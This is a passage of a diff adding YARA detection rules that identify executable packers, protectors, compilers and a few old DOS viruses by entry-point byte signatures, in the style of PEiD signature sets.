+			$a0 = { 55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 70 3B 00 10 E8 3C FA FF FF 33 C0 55 68 6C 3C 00 10 64 FF 30 64 89 20 6A 0A 68 7C 3C 00 10 A1 50 56 00 10 50 E8 D8 FA FF FF 8B D8 53 A1 50 56 00 10 50 E8 0A FB FF FF 8B F8 53 A1 50 56 00 10 50 E8 D4 FA FF FF 8B D8 53 E8 D4 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 64 56 00 10 E8 25 F6 FF FF B8 64 56 00 10 E8 13 F6 FF FF 8B CF 8B D6 E8 E6 FA FF FF 53 E8 90 FA FF FF 8D 4D EC BA 8C 3C 00 10 A1 64 56 00 10 E8 16 FB FF FF 8B 55 EC B8 64 56 00 10 E8 C5 F4 FF FF B8 64 56 00 10 E8 DB F5 FF FF E8 56 FC FF FF 33 C0 5A 59 59 64 89 10 68 73 3C 00 10 8D 45 EC E8 4D F4 FF FF C3 E9 E3 EE FF FF EB F0 5F 5E 5B E8 4D F3 FF FF 00 53 45 54 ?? ?? ?? ?? 00 FF FF FF FF 08 00 00 00 76 6F 74 72 65 63 6C 65 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEPackv099
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV115V117LZMA430ap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxQuake518
+	{
+	strings:
+			$a0 = { 1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WWPACKv305c4UnextractableVirusShield
+	{
+	strings:
+			$a0 = { 03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium13013ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 01 ?? E8 26 00 00 00 EB 02 ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 01 ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 02 ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 02 ?? ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8 13 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule ObsidiumV130XObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MetrowerksCodeWarriorv20Console
+	{
+	strings:
+			$a0 = { 55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PESpinv07Cyberbob
+	{
+	strings:
+			$a0 = { EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimpleUPXCryptorV3042005MANtiCORE
+	{
+	strings:
+			$a0 = { 60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinRAR32bitSFXModule
+	{
+	strings:
+			$a0 = { E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule iPBProtect013017forgot
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeASPack211demadicius
+	{
+	strings:
+			$a0 = { 60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv036alphaDwing
+	{
+	strings:
+			$a0 = { AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule CrinklerV03V04RuneLHStubbeandAskeSimonChristensen
+	{
+	strings:
+			$a0 = { B8 00 00 42 00 31 DB 43 EB 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DingBoysPElockPhantasmv10v11
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactV2XBitsumTechnologies
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule CRYPTVersion17cDismember
+	{
+	strings:
+			$a0 = { 0E 17 9C 58 F6 ?? ?? 74 ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxXPEH4768
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECrypt32v102
+	{
+	strings:
+			$a0 = { E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PESHiELD025Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NETDLLMicrosoft
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule MSLRH
+	{
+	strings:
+			$a0 = { 60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BeRoEXEPackerv100DLLLZMABeRoFarbrausch
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02ExeSmasherAnorganix
+	{
+	strings:
+			$a0 = { 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ObsidiumV125ObsidiumSoftware
+	{
+	strings:
+			$a0 = { E8 0E 00 00 00 8B 54 24 0C 83 82 B8 00 00 00 0D 33 C0 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+    
+    	rule ASPackv107bDLLAlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MicroJoiner17coban2k
+	{
+	strings:
+			$a0 = { BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeVOBProtectCDFEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 5F 81 EF 00 00 00 00 BE 00 00 40 00 8B 87 00 00 00 00 03 C6 57 56 8C A7 00 00 00 00 FF 10 89 87 00 00 00 00 5E 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CelsiusCrypt21Z3r0
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3 }
+	$a1 = { 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule Armadillov260
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 D0 ?? ?? ?? 68 34 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 68 ?? ?? ?? 33 D2 8A D4 89 15 84 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov261
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 28 ?? ?? ?? 68 E4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 0C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeASPack212emadicius
+	{
+	strings:
+			$a0 = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RatPackerGluestub
+	{
+	strings:
+			$a0 = { 40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CreateInstallv200335
+	{
+	strings:
+			$a0 = { 81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SPECb3
+	{
+	strings:
+			$a0 = { 5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SPECb2
+	{
+	strings:
+			$a0 = { 55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXV200V290MarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { FF D5 8D 87 ?? ?? ?? ?? 80 20 ?? 80 60 ?? ?? 58 50 54 50 53 57 FF D5 58 61 8D 44 24 ?? 6A 00 39 C4 75 FA 83 EC 80 E9 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01MicrosoftVisualBasic5060Anorganix
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXModifiedStubbFarbrauschConsumerConsulting
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule E2CbyDoP
+	{
+	strings:
+			$a0 = { BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SVKProtectorv111
+	{
+	strings:
+			$a0 = { 60 E8 ?? ?? ?? ?? 5D 81 ED 06 ?? ?? ?? 64 A0 23 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PCShrinkerv071
+	{
+	strings:
+			$a0 = { 9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite21
+	{
+	strings:
+			$a0 = { 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 8B D8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule BeRoEXEPackerv100DLLLZBRRBeRoFarbrausch
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule hmimysPackerV12hmimys
+	{
+	strings:
+			$a0 = { E8 95 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 5E AD 50 AD 50 97 AD 50 AD 50 AD 50 E8 C0 01 00 00 AD 50 AD 93 87 DE B9 ?? ?? ?? ?? E3 1D 8A 07 47 04 ?? 3C ?? 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 05 ?? ?? ?? ?? 2B C7 AB E2 E3 AD 85 C0 74 2B 97 56 FF 13 8B E8 AC 84 C0 75 FB 66 AD 66 85 C0 74 E9 AC 83 EE 03 84 C0 74 08 56 55 FF 53 04 AB EB E4 AD 50 55 FF 53 04 AB EB E0 C3 8B 0A 3B 4A 04 75 0A C7 42 10 01 00 00 00 0C FF C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+rule EnigmaProtector131Build20070615DllSukhovVladimirSergeNMarkin
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 81 ED ?? ?? ?? ?? E9 49 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 84 24 28 00 00 00 80 F8 01 0F 84 07 00 00 00 B8 ?? ?? ?? ?? FF E0 E9 04 00 00 00 ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 81 C0 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 30 10 40 49 0F 85 F6 FF FF FF E9 04 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PureBasicDLLNeilHodgson
+	{
+	strings:
+			$a0 = { 83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HPA
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 8B D6 83 ?? ?? 83 ?? ?? 06 0E 1E 0E 1F 33 FF 8C D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov310
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upack012betaDwing
+	{
+	strings:
+			$a0 = { BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxNcuLi1688
+	{
+	strings:
+			$a0 = { 0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VProtectorvcasm
+	{
+	strings:
+			$a0 = { 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C }
+	$a1 = { 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00 }
+	$a2 = { 00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 